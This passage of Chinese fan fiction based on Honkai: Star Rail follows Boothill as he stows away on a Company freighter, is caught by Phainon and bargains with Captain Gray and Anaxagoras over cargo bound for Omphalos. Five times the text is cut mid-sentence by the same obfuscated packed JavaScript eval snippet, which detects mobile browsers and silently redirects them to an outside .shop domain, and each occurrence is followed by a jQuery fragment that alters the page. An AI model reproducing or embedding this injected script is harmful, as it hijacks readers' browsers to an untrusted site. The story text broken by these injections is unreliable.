尽管并未近身,但几发子弹轻飘飘地落在了地上,对方看上去毫不费力,连傻子都能看出这人恐怕完全未尽全力,于是躲进仓库的人只好骂骂咧咧地钻了出来,虽说骂人的话大部分被联觉信标屏蔽了个彻彻底底。 “宝了个贝的,公司这次怎么舍得下这么大的血本。” 他说。 20. 哥们你哪来的? 宝了个贝的,公司哪来的这么强的护卫! 此时此刻,波提欧有点怀疑人生。 他对自己的实力有认知,刚刚那几发子弹虽然确实不是为了伤人,倒也不是能如此轻描淡写地被一把剑随便扫开的东西,对面的白发青年嘴上倒还算礼貌,一口一个阁下一口一个警告,可波提欧刚摸进来不到两分钟就被堵在仓库里,这让他有点怀疑今天出门是不是有点诸事不利,他那个星穹列车上的开拓者朋友说什么,“出门要看黄历”,虽然不知道黄历到底是什么,但波提欧此时此刻真的有点信了,这礼貌的白发青年要么就是随身有点什么邪门的倚仗,要么就是个正牌令使——虽然不知道到底是哪个命途的,但令使这东西,哪个都挺难缠。 应该是有点邪门的依仗,毕竟人再倒霉也不至于随便在一艘公司的运货舰船上撞见令使吧,波提欧想,这一趟行程够付令使工资的吗?恐怕还得倒搭不少吧。 “得,好,我认倒霉,好了吧。”波提欧收起了枪,晃晃悠悠地举着双手走了出来,“他呜呜伯的这都什么事儿……” “目的。” “偷东西呗,还有什么目的。”波提欧双手一摊,“他宝贝的难道我是来参观公司舰船的?” “那恐怕你……不能走。”白厄说。 下一刻,波提欧眼前一花,那柄枪变魔术般地飞到了白厄手上,他仍然面无表情。 波提欧看他的眼神像在看什么难以理解的生物。 “宝了个贝的,拿把枪就走了,不试试爱死我?”波提欧不可置信,“你不知道我是谁?” “我不爱你。”白厄诚恳地说。 “……” “不是,哎,我那个爱,不是那个爱,喵,宝了个贝的怎么还解释不清了……” 越忙越乱,最后,波提欧索性放弃了挣扎。 “嗯,我也不爱你。”他有气无力地说。 听这奇怪的家伙刚才的意思,这人好像在星海之间还挺有名——八成不是什么好名声,白厄摇了摇头,实际上他并不太关心这人到底是谁,他只关心这人会不会对舰船和货物产生危害,见他这样,波提欧反倒哈哈大笑。 “还真不认识,”他边笑边说,“怎么,他呜呜伯的,难不成我说你是公司的走狗,是冤枉你了不成?” “你要是认识我,就应该知道,老子的脑袋可是相当值钱——怎么,你对赏金没兴趣?” 他挑衅地一笑,白厄仍然没什么表情。 “没必要,”他说,“偷窃并非……死罪,但如果你……继续你现在的……动作的话,我……会动手。” “他呜呜伯的!” 骂骂咧咧,波提欧手上的动作倒也停了下来,他确实试图逃跑,也没瞒过对面人的眼睛,短短几句话波提欧倒是看出来了,现在他呆着不动,对方反而不会做什么,但若是真要拼个鱼死网破,代价恐怕相当之大。不过他能看出对面的人大概率和公司不是一路人,可这样他更奇怪了,要是不是公司派来的护卫,这家伙难不成是路边捡的不成? 想到这,他倒也不再反抗,反正他的目的并非只有一种方式能达成,这种展开本来也算在他意料之中。 “巡海游侠,波提欧。”他潇洒地说,“行了,带我去见你们管事的人吧。” “好。”白厄说,“但不要有……任何多余……动作。” “成成成知道了。”波提欧跟在他身后,无所谓地抱怨。 “他呜呜伯的,你到底是哪来的?” 白厄当然不曾回答他,毕竟无论是偷窃行为还是偷窃未遂,舰长应该都有一套成熟的处置方式,他的任务只是把人带到舰长面前,其他的他不会操心太多。不过,他还是有点担心,这人和那刻夏老师来到这里的时间有点太过接近,白厄不得不思考他是追着那刻夏老师来的可能性,不过关于这件事他没说什么,只是沉默地走在前面,波提欧跟在他后面,双手插兜,甚至还吹起了口哨。 “诶,我看你实力不错。”波提欧说,“像你这样的人,一般不会待在这种小舰队里老老实实地当护卫,他宝贝的之前可没人和我提这个事儿,新来的?刚进公司?公司可不是什么好东西……” “到了。”白厄简短地说,他从聒噪中找回了自我,推门进去看到格莱,一时间有点搞不明白自己是该待在这里还是应该回避,格莱挥了挥手,舰长表了态,白厄便站在一边,一言不发。 “大名鼎鼎的波提欧先生,”格莱开口,他看上去并不生气,倒是一脸苦笑,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119681|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上去有点疲惫,“您这次又有何贵干?” “呦,格莱船长,”波提欧旁若无人地举起手比了个招呼,“一别几年,您还是这么……额,认真?” “客套话就免了,”格莱说,“这次你又打算拿走什么……你上次闹出的动静可比这次大多了。” “好,”波提欧说,他拍了拍手,“挺爽快,要不是你给公司卖命,我还真想有空请你喝两杯……话说这个,”说着,他指了指站在一边的白厄,又问,“哪来的?公司配的?” “路边捡的。”格莱说。 波提欧万分不爽地啧了一声。 “他呜呜伯的,不想说就不说,用不着拿这话搪塞我,好了,说正事。” 看上去他们之间的关系有点奇怪,白厄想,但按舰长先生的表情来看,对于来者是波提欧,他似乎已经有了点预感。不过有些话大可以等事情结束一并询问,于是白厄保持着沉默站在一边。 “老子也不跟你绕圈子,把东西交出来,对咱俩都好。”波提欧说。 “什么东西?” “你别装傻,”波提欧说,“我说真的,把东西交出来,对咱们都有好处,你心知肚明那是个什么东西,你们整艘货运舰整次的运输任务,不都是为了那东西服务的吗?” 他一伸手,“相信我,那东西要是真的需要正规渠道运输,你们的安保起码要比……”他本来想说点什么,又看到了一边的白厄,巡海游侠罕见地迟疑了片刻,“……额,也就这个水平了。前提是这位,是公司给你们配的。” “要是真像你说的,路边捡的,那公司就是让你们去送死。”波提欧说,“你们这一路上难道没觉得碰到的反物质军团成群结队?相信我,再把那东西毫无保护措施地放在你的货运舰里,下次找上来的可就不止是这些呜呜伯了,喵。” 格莱没说话。 “好吧,好吧,看样子你还是不相信。”波提欧说。 “那老子也先交个底,老子的线人告诉我了,你们这趟旅程的终点……” “永恒之地,翁法罗斯,对吧?” “而且你们的原定终点不是那地方。”波提欧说,“临时改道,送你们上天,砰––” 他夸张地比了个手势。 21. 哦,人生何处不认识 “我不知道你在说什么。”格莱依然坚持。 他下意识地、隐晦地扫了身边的白厄一眼,但白厄接收到了他的眼神,倒是瞬间明白了格莱的意思,一方面,波提欧既然已经通过未知手段潜入舰船,说明舰船上现有的安保措施拦不住他,如果他选择让白厄现在离开,他没法保证波提欧会不会暴起伤人,没了枪对他来说并不是要命的破绽,这点白厄知道,格莱似乎也知道。另一方面,虽然格莱说着“我不知道你在说什么”,但他对波提欧提到的东西似乎心知肚明,看样子,他并不想让第三个人知道这件事。可事关翁法罗斯,白厄总没办法当做无事发生,于是他眼观鼻鼻观心,假装根本没看见,他知道格莱不会赶他走,至少现在不会——因为波提欧还在这里。 波提欧笑了一声。 “格莱,从咱俩第一次见面,我就说你太死板了,真的,”他夸张地啧了两声,手下意识地摸向腰间,又想起自己被白厄缴了械,无奈只能遗憾收手,“不过老子可不信你毫无察觉,不然的话……” “你估计早就让这位兄弟把我赶下去了吧。” “命重要,各取所需才是最好的选择,”波提欧又不紧不慢地说,“我可是为了你好,公司想要爱死你,你不为自己考虑,总得为船上其他人考虑?你船上那个小姑娘,我上次见她的时候她才刚大学毕业吧,上次叫得我耳膜都破了,他呜呜伯的,还有那个阿卡索尔,这家伙离群索居的……格莱,你想想你们这一路,是不是走得太惊险了?” 格莱的手不自主地摸了摸口袋,现在连白厄都能看出他在动摇,但他沉默片刻,却仍然摇了摇头。 “很抱歉。”他说,“但我不相信你。” “他在这你有什么怕的,”波提欧冷笑一声,“这小子发现不对随时可以一枪爱死我,对了,我不爱你。” 后面这句话,他是对白厄说的。 白厄:“……” 他倒是听出来了,对方那些稀奇古怪的表达多半是什么屏蔽措施,和爱不爱的关系不大。 “他要是不在这里,你早就动手抢了。”格莱说。 “没错。”波提欧答应得倒是相当干脆,“你最好祈祷他中途别下车,而且应该不止我一个对那东西感兴趣,虽说知情人估计没几个,但是那些东西可都会闻着味儿过来。阿特拉斯安保措施强可不代表你们的下一站、下下一站的安保措施也能达到这种水平——换句话说,你们真的能活着到达翁法罗斯的话,你还能让他一直跟着你?” “为什么不能?”格莱反问。 “因为他是路边捡的,不符合公司这傻宝地方的规定。”波提欧说。 “……” “怎么样,舰长大人?”看到格莱被狠狠噎了一下、吞也不是吐也不是的表情,波提欧笑出了声,“没得谈我就下车,希望下次听到你们的消息不是在公司的意外死亡布告栏里,当然,这兄弟应该没事。我走了,再见。” 他手一扬,竟然真的大摇大摆地打算离开,但走着走着,他又突然停了下来。 “嘶……”他摸了摸下巴,试探着问,“那老子的枪……” “等等。”格莱说,他沉思片刻,终于下定了决心,波提欧回头,他毫不意外。 “怎么?” 格莱隐晦地左右看了看,波提欧相当不当回事儿地笑了一下,不知道从哪里又变魔术般掏出把枪,子弹上膛,砰砰两枪,红色的光点一闪而灭,车厢传来尖锐的警报声,波提欧的话语和警报的嗡鸣声同时响起,“记我账上,不用客气。” “现在能聊了?”波提欧又问。 格莱点了点头。 “行了,说说看,你对那东西了解多少?” “实际上我一无所知。”格莱说,“我只是也觉得这次行程有古怪,我们原定行程是从凯特尔星系出发,途径阿特拉斯中转,最后抵达琴神星,翁法罗斯的行程是延后行程,但是这次行程开始后,的确如你所说,我们碰到了很多不该遇见的……东西。” “起先情况还好,舰船上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119682|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的安保措施绰绰有余,但抵达阿特拉斯之前,那些反物质军团似乎越来越强……然后,他们就突然消失了。” “消失了?”波提欧表情古怪。 “是的,那些一直在追着我们的东西在某一天过后突然消失了,所以我一直以为只是因为游离的反物质军团最近确实活跃……但正常的星际航道上,不应该有这么多东西。” “什么时候消失的?”波提欧疑惑地自言自语,“宝了个贝的不应该啊……难不成有人先偷了?” “我们抵达阿特拉斯后,似乎就没再见过那些东西。”格莱说,“我们的上一站是北宿七,北宿七的安保和阿特拉斯差不多,但是那时候我们总会被各种奇怪的东西骚扰——北宿七的环境甚至更稳定一些。” “要么,就是东西被偷了,”波提欧说,“要么,就是你们这小破地方来了尊不得了的家伙,对了,兄弟,你叫什么?” “白厄。”白厄说。 “这件事……和翁法罗斯……有什么关系?” “白厄?宝了个贝的,这名字怎么有点耳熟,我想想……”波提欧没回答他的问题,他摸着下巴转来转去。格莱左看看右看看,在波提欧注意不到的角落里,他小声询问。 “你们之前认识?” “不认识。”白厄答得非常果断,他非常确信自己和这位名叫波提欧的奇怪的人的确是第一次见面,但波提欧好像并不这么认为,他转来转去,一拍脑袋,豁然开朗。 “我想起来了,我那几个朋友和我提到过你,是这个名字,对,没错。” “你的朋友?” “星穹列车,你应该也认识。现在只有那一趟星穹列车往返星际之间,我和他们有过交集。” “开拓者,丹恒,还有三月七,知道吗?” 话音刚落,他满意地发现从他进入以来一直存在的、相当浓重的敌意淡了下去,同时,他也突然明白为什么白厄会如此关心翁法罗斯的事情。 但他不打算和格莱说。 22. 转人工 【白厄】:搭档。 【开拓者】:广告请转1,查询列车进度请转2,请我吃饭请转3,人工服务请转0。 【白厄】:3。 【开拓者】:天哪天哪白厄你居然主动找我们! 【开拓者】:改主意了?要上列车了?我现在就拜托帕姆跃迁过去,你还在阿特拉斯?还是去哪了?给我发个定位。 【开拓者】:3什么3,我开的自动回复,上次忘了请你吃饭真是遗憾,你等着我现在就过去。 【白厄】:不是……有个问题想问一下。 【开拓者】:这也太客气了吧搭档,难道我不是你最好的伙伴了吗? 【开拓者】:什么事,你尽管开口问,有问必答,如假包换。 【白厄】:你认识波提欧吗?【图片】 【开拓者】:…… 【开拓者】:认识倒是认识,但你们两个怎么凑在一起了? 【开拓者】:等等,这个背景,他不会是又偷偷摸上你们货运舰被你发现了吧? 【白厄】:什么叫又? 【开拓者】:他有前科。 【白厄】:他不会也偷偷上过星穹列车? 【开拓者】: 诶,聪明,猜的真准。 【开拓者】:小海豹拍巴掌. jpg 【白厄】:…… 【开拓者】:但有一说一,他人还不错,我们打过几次交道,他说的话大多数时候都挺准,虽说他和公司有仇,但冤有头债有主,他们巡海游侠不欺凌弱小,总之,比起公司的话,感觉他更可信一点。 【开拓者】:奇美拉沉思. jpg 【开拓者】:还有,记得反悔随时联系我们! 【白厄】:好。 他放下了手机,看向坐得歪歪扭扭的波提欧。 “确定了?”波提欧懒懒地说,他随手放下手机,“看来我们现在能好好谈谈,货运舰的武力威慑先生?” “星穹列车的……同伴,相信你。我也可以……暂时交托信任。”白厄说,“但……我的老师……还在外面,我不放心。” 波提欧笑了,他意识到了白厄的意思,现在看来,格莱似乎并不知道白厄的出身,连带着他提到那位老师格莱也没太多反应,他暗自咂了咂舌,心想翁法罗斯这帮人嘴挺严啊,不过他倒没说什么多余的话––他向来如此。 “那就让他也进来听听,”他说,“的确,你看,把人家的老师一个人扔在外面多危险,宝了个贝的,老师,一听就是个身娇体弱的学者,是吧。” “你呢,为了你的小命着想,也别想着瞒下去了,”波提欧又对格莱说,“再说一遍,为了某个呜呜伯的计划丢掉命不合适……虽然他们应该给你们都买了大额保险。” 格莱苦笑了一声。 “以我们现有的护卫水平实在打不过你,”他诚恳地说,“现在,我们货运舰这些命,不都在你身上了吗?波提欧先生?” “随便你,”波提欧说,“老子的赏金里可不差这点。” “我需要一个保证,”格莱说,“谢尔微和阿卡索尔是公司的正式员工,他们不能听到我们的谈话……但我要保证他们的安全,波提欧先生,你知道我的意思。” “巡海游侠,独来独往。”波提欧说,“放心吧,你们这种小货运舰,用不着我和其他人联手。” “现在,你可以去请你那位老师了。”波提欧说,“放心,在此之间,老子什么都不干……毕竟这么小的货运舰,应该也就是你身后那玩意儿一剑劈下去的事。” 白厄看了他一眼,又看了格莱一眼,见格莱点了点头,他才悄然离开。 “老子现在真有点相信他是你在路边捡的了。”波提欧说。 “本来就是。”格莱说。 他详细地描绘了一位语言障碍的大学生自强不息的故事,波提欧越听脸色越怪,最后,他实在没憋住,惊天动地地笑出了声。 “他宝贝的,你们船上那个谢尔微也是大学毕业生吧?你让他俩掰掰手腕试试?” “星系种群特征不一样吧,”格莱说,“但白厄是个好孩子。” “……行,”波提欧憋了半天才点点头,他看上去是真有点没辙,“真他宝贝的是个普通好孩子。” 那刻夏老师刚吃完早饭,就见他鬼鬼祟祟的学生去而复返,他还没来得及问,白厄已经断断续续地,原原本本地把刚刚的事情复述了一遍,那刻夏越听越奇怪, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119683|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可现在的情报太少,连他也得不出什么有用结论,但他思考了一下格莱和波提欧短短的几句话,心里倒是有了点猜测。 他没说什么,只是披上衣服走了出去,临走,还随手带走了桌子上的东西。 “这是?” “屏蔽与反监视措施。”那刻夏说,“我不会完全寄信任于公司提供的场地。” “走吧,”他说,“让我看看这次又是什么事。” “看来人都到全了。” 白厄和那刻夏推门而入,格莱和波提欧坐在一边,那刻夏随便找了个地方坐下,波提欧主动递了个话茬。 “你就是白厄的老师?” “是,”那刻夏说,“我名为阿那克萨戈拉斯,主修方向历史,负责过几次古迹发掘工作。” “呦,历史老师,这不专业对口了,”波提欧说,“那就好办,我提前问一下,你对新生星体翁法罗斯了解多少?” “去年我受翁法罗斯方面委托,负责过那里几处古迹的勘探工作。”那刻夏说,“对于那里的历史与文化还算有一定了解。” “嚯,”波提欧说,“你看,瞌睡到了就有人给咱送枕头,格莱,你那个东西要送到哪?给这个阿……阿……阿老师看看。” “阿那克萨戈拉斯。”那刻夏说。 格莱便掏出了一张纸质地图。 “电子设备需要权限码,”格莱说,“所以只能用纸质版,这趟行程,要求我们最后到达的地方是这里,”他画了个圈,“公司说那边会有翁法罗斯相关人员接洽,我们只要把东西送到那就好,因为是额外任务,所以会有提成。” “这里可不会有人接洽。”那刻夏下意识地皱了皱眉。 “为什么?”格莱有点茫然,他仔细看了看地图,“我没画错,换句话说,就算我真画错了地方,你怎么能确定这里一定没有人?” “这里不会有任何人。”那刻夏冷笑了一声,“对面告诉你的时候,有没有告诉你这里叫什么?” “没有。”格莱说,“他们说翁法罗斯这边还没完成新的定义和命名,所以东西送到就好,不用管那么多。” “但翁法罗斯本地早有命名。” “时光归墟。” 23. 这年头知道的越多死的越快 格莱不再说话,显然,在场众人中并没有真正的傻子,他垂下眼眸思索了片刻,似乎得出了什么结论,下一刻,他突然起身迈步,离开了这间屋子。 “奇了怪了,”波提欧在他身后故意笑道,“不问问?” “波提欧先生,”格莱站定,淡淡地说, “干我们这行的有个说法,知道的越多,死的越快。” 他头也不回。 “哎,所以说真他宝贝的没意思,”波提欧哼了一声,“一肚子弯弯绕绕,还畏首畏尾的,老子就是看不惯公司这帮家伙的风格。” 白厄眼尖,自然能看到在格莱离开的时候,有什么亮亮的东西落了下来——似乎是一把奇怪的弯曲的金属,也许是把钥匙。他思考了一下,很快明白了格莱的意思——东西可以偷走,盒子留着交差,同时,格莱似乎对其他的事情毫无兴趣,大约真的如他所说,知道的越多,死的越快。 “好了,现在呢,也没外人。”见格莱甚至礼貌地关上了门,波提欧上前两步捡起那东西,顺势抱着手臂仰面而坐,“学者,老子呢,最讨厌弯弯绕绕,所以老子就直说了。” “你,还有你身边那个白厄兄弟,都是翁法罗斯人,对吧?” 那刻夏没正面回应波提欧,他只是坐在那里,安静地推了推眼镜。 “你的目的似乎已经达到了,”他说,“无论是我还是他,都没什么兴趣搅进你和公司的浑水里,再见。” “那可真遗憾,”波提欧说,他仍然慵懒地躺在那里,看上去根本没有要走的意思,“时间还早,老子还有点关于翁法罗斯的故事,要不要听一听?” “当然,”他又咂了咂嘴,“我这的故事可不一定准。” 那刻夏看上去没什么兴趣,他已经开始收拾东西,却在波提欧说出下一句话时停住了动作。 “那从点重磅的开始说起,比如我听说,”波提欧不紧不慢,“翁法罗斯这地方其实有两位绝灭大君。” 他满意地看着那刻夏停下了手上的动作,小小的钥匙在他的手上转了个圈,发出一声清脆的“叮”。 “看来老子的故事开头还挺不错,”波提欧说,“挺吸引人……怎么,学者,现在有兴趣了?” “是。”那刻夏未曾否认,他甚至看上去突然有了点兴趣,“真是个富有想象力的开头。” “我这人记性可不太好。”波提欧又倒在了柔软的沙发里,甚至还指了指旁边示意白厄要不要坐下,被白厄无声地拒绝。但吃了个闭门羹,他倒也不恼,只接着对那刻夏说。 “我的故事呢,说不定哪个地方就需要补补边角,不过在这之前,可以继续听。” “第一个绝灭大君,嗯,咱们都知道了,就是那个大名鼎鼎的铁墓——他宝了个贝的这名还是公司起的,应该是死透了,虽说公司说是他们的功劳,但公司这傻宝地方向来一分功吹成十分——当然今天的重点不是他。这第二个就有点神秘了,之前他们公司一直以为翁法罗斯上就一个铁疙瘩绝灭大君,结果三年之前那场大火——哦,不知道你们知不知道——总之,那时候的毁灭能量波动可够大的,结果一场大火,翁法罗斯突然有人了,你说这事儿神奇不神奇?学者?” “所以有人认为翁法罗斯在那个时候诞生了第二位绝灭大君?”那刻夏若有所思。 “是啊,”波提欧说,“这可真是个让人百思不得其解的故事,正常来说哪有绝灭大君创造生命的——说是丰饶令使还差不多,但宇宙间的破事儿向来是存在即是合理,所以即使想不明白为什么,公司还是给这位不知道存不存在的丰饶绝灭大君定了个名字,虽然这名字不怎么常用。” “毕竟是在那场火之后翁法罗斯才有生命出现,所以他们管那个大君叫【卡厄斯】。可能有什么典故,但老子不知道,学者,你知道吗?” “在翁法罗斯神话中,【卡厄斯】代表着起源与混沌,”那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119684|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻夏不着痕迹地、安抚地拍了拍身边骤然紧绷的白厄,“以此命名,并无不妥——但话又说回来了,谁又能确定翁法罗斯上真的存在名为【卡厄斯】的大君?” “问到点子上了,学者,”波提欧笑了,“跟聪明人说话就是省劲,实际上这个问题公司也在问,一方面,翁法罗斯升格的时候,确实存在绝灭大君级别的能量波动,而另一方面,这位大君流星似的出现又消失,甚至没人能确定那时的能量波动到底来自哪里。所以公司逐渐有点流言,说大君卡厄斯并不存在,实际上只是他们借用了毁灭星神的赐福升格星球,本来这事儿到这里也就是点风言风语,可坏就坏在翁法罗斯他呜呜伯的太有研究价值了。” “研究价值。” 那刻夏自言自语地重复了一遍,冷笑了一声。 “一个铁墓就够研究的了,加上突兀升格的生命,升格的时候飘在星球附近的毁灭赐福——这他呜呜伯的真是个好地方,公司这傻宝喜欢得很,所以终于有人沉不住气,打算试试翁法罗斯的深浅。” “他们想唤醒那位不知是否存在的大君。”那刻夏说。 “你别说,学者,跟你说话真方便,”波提欧眼前一亮,仿佛发现了新大陆,“一方面呢,公司想看看【卡厄斯】到底存不存在,另一方面呢,他们对大君【卡厄斯】也有点新的猜想。” “公司这傻宝没觉得会有人主动燃烧自己,”波提欧说,“所以他们估计,说不定【卡厄斯】并不是主观意愿上希望翁法罗斯升格,而是被动地沦为盘中之餐——也就是说……” 说到这,波提欧笑了一声。 “他们最新的猜想是,翁法罗斯为了升格,【分食】了大君【卡厄斯】。” 那刻夏按了按额头,他看上去是真的有点晕,白厄连忙给他接了杯水,只觉得老师的脸色实在难看。 “您没事吧?”他小声问道。 “一派胡言。”那刻夏说。 24. 新生的星球 “别急着否认,学者,”波提欧两手一摊,“早就说了这故事得补充点细节,毕竟我呢,记性也不怎么好,而且你不觉得这故事到这反而通顺了不少吗?” “哪里通顺?”白厄忍不住小声吐槽,这故事实在离谱,连他这个野史学家都要赞一句说的什么叽里咕噜,那刻夏揉了揉额头,又喝了口水,他的脸上浮现出一种一言难尽的无奈神色,看得白厄有点想笑,这对来自翁法罗斯的倒霉师徒此刻坐在波提欧对面,听这位巡海游侠喋喋不休地讲述着连他们也不甚熟悉的翁法罗斯故事,波提欧卖了个关子,可惜对面师徒看上去吐槽的归吐槽,发呆的归发呆,总而言之,没人接他这个话茬。 没人接话也得说,波提欧向来如此,于是他悻悻地自己倒了杯水一饮而尽,又把掉在地上的话头捡了起来。 “如果说这位绝灭大君诞生的原因,是源自被【分食】的恨意,那么一切就通顺多了。”波提欧说,“正常来说,由愤怒、怨恨与不甘中诞生的暴戾,才应该是一位绝灭大君诞生的最初动力,但现在又产生了一个问题——对于绝灭大君来说,这愤怒太轻、太浅,在毁灭的路上甚至留不下一点印记,更别说让那个毁灭星神看上一眼,毕竟全宇宙被各种意义上分食的人多了,也没见绝灭大君满地乱跑。” “宇宙真可怕。”白厄小声说。 “所以呢?”那刻夏问,他看了白厄一眼,满意地发现某些野史学家似乎也被吓了一跳, “按公司的智商,估计怀疑和铁墓有关?” “没错,”波提欧一拍巴掌,“公司又猜测,【卡厄斯】可能并非完全意义上的绝灭大君,也许他只是铁墓的衍生与附属产物,这也能解释为什么在翁法罗斯升格之前,大君【卡厄斯】几乎岌岌无名——而后,伴随着铁墓被击败,翁法罗斯渴求升格,于是【分食】了【卡厄斯】,而由其中诞生的恨意,使【卡厄斯】升格成了真正的绝灭大君——” “想象力真丰富。”那刻夏不紧不慢地说,“所以这位被分食的大君怀揣着对翁法罗斯的深切恨意升格,却因为被分食而不知踪迹,公司想要唤醒他,或者确定【卡厄斯】并不存在,而无论哪种结局,对于他们下一步进军翁法罗斯都有好处,对吧?” “是,”波提欧并不否认,“学者,翁法罗斯是块肥肉,有资源即可被利用,公司从不是什么善男信女——倒不如说他们之所以没出手,完全是因为没探清【卡厄斯】的立场与底线,公司内部向来有以开拓为名实行侵略之实的部门,有令使和没令使是两个概念,令使友善与令使敌对也是两个概念,倘若【卡厄斯】并不存在,公司下一步便能用隶属公司的货运舰下落不明的理由强行进驻翁法罗斯,倘若【卡厄斯】存在又痛恨翁法罗斯,公司便可以与这位绝灭大君联手吞并翁法罗斯,倘若【卡厄斯】存在又与翁法罗斯友善……” 波提欧凉凉地笑了一声。 “那也没关系,公司下步将以剿灭绝灭大君的名头入驻翁法罗斯——那毕竟是个绝灭大君,不是吗?” 那刻夏若有所思,他不着痕迹地碰了一下白厄的手,白厄倒是被他这个动作吓了一跳,但当着波提欧的面,他总没法表现出来,接着,他看到老师的神色严肃起来。 “但有人不想让他们这么做,否则我不应该在这里。”那刻夏说,空中突然出现了张地图的影子,那刻夏用手随手划过,留下了几道痕迹。 “去勾陈星系一共有四条中转路线,阿特拉斯并不是其中最方便的路线,我一直在思考,为什么是阿特拉斯?” “但你还是来了,”波提欧啧啧称奇,“倒不如说你以身入局胆子挺大,你现在觉得我们之间的相遇是巧合吗?学者?” “宇宙间从没什么巧合。”那刻夏摇头。 “那看来话是说开了,”波提欧咧嘴一笑,“咱们被人做了一局,而我呢,他呜呜伯的应该是被人当了枪——哈,这感觉真不赖,老子迟早一枪爱死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119685|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们,不过现在轮到你交底了,学者。” 波提欧直视着那刻夏的眼睛。 “【卡厄斯】存在吗?” “我所认识的并非名为【卡厄斯】的绝灭大君。”那刻夏说。 “他呜呜伯的说话怎么拐弯抹角的,”波提欧不满,“第二个问题,那个时光什么的到底是个什么地方?” “坟墓。”那刻夏说。 “哦,埋了两个绝灭大君?” “我可没说是谁的坟墓。”那刻夏说,“总之,那地方被划为禁区自有他的理由——不过公司这么大手笔,想必也不会在乎一条两条人命。” “谁说不是呢,”波提欧倒是罕见地认同了他,“公司这傻宝地方就是这样。” “你和公司有仇?”那刻夏问。 “是啊,”说到这,游侠一脚踹碎了面前的柜子,似乎并不解恨,他又变魔术般地从房间的角落里抽出两瓶酒,“边喝边说?” 那刻夏:“……” “不了,”想想爆炸果果汁的威力,又看了一眼白厄,那刻夏理智、果断、冷静地拒绝了那瓶酒,又看了一眼白厄。白厄被老师看得汗毛倒竖,面对波提欧的邀请,他使劲摇了摇头。 开玩笑,再敢当着那刻夏老师的面喝酒,他怕会被老师揪着耳朵骂死。 “如果按你的说法,”那刻夏说,“即使他们试图唤醒【卡厄斯】,也不会给他太多力量,毕竟他们的下步计划里存在剿灭的选项——这样的话,维持他的能量应该也只是足够他被唤醒。” “毁灭命途的事我上哪知道,”波提欧喝了口酒,“我又不是毁灭命途的,能打听到这么多已经是公司内斗的结果了,要不是想和你们联手揍公司这帮傻宝一顿,我用不着说这么多。” “怎么样,学者。”波提欧又问,“听了这么多,你觉得翁法罗斯能独善其身吗?” “翁法罗斯从没觉得自己能独善其身。”那刻夏说。 25. 投降派? “这就对了。”波提欧嗤笑一声,“哪有什么独善其身,宇宙的本质不过是侵略和被侵略,掠夺和反掠夺,哪有那么多温情脉脉。” 白厄若有所思。 “如果……”他迟疑着说,“我是说如果,翁法罗斯……并没有……什么绝灭大君,它的能力……又足够保护自身……公司会紧盯着……翁法罗斯不放吗?” “你这是什么?”波提欧相当不爽地啧了一声,“投降主义?” “你误会了,我只是在想……翁法罗斯存在……绝灭大君……是不是……本身就对翁法罗斯的名声……不太好?”白厄说,“因为毕竟……公司也有个选项……是以剿灭绝灭大君……的名义,进驻翁法罗斯。” “名声值个锤子的呜呜伯。”波提欧说,他看着白厄,简直痛心疾首,“我说的剩下两个选项你是一点没听啊白厄兄弟。” 他重又喝了口酒,“看在咱们共同的朋友开拓者的份上,和你说条真理。” 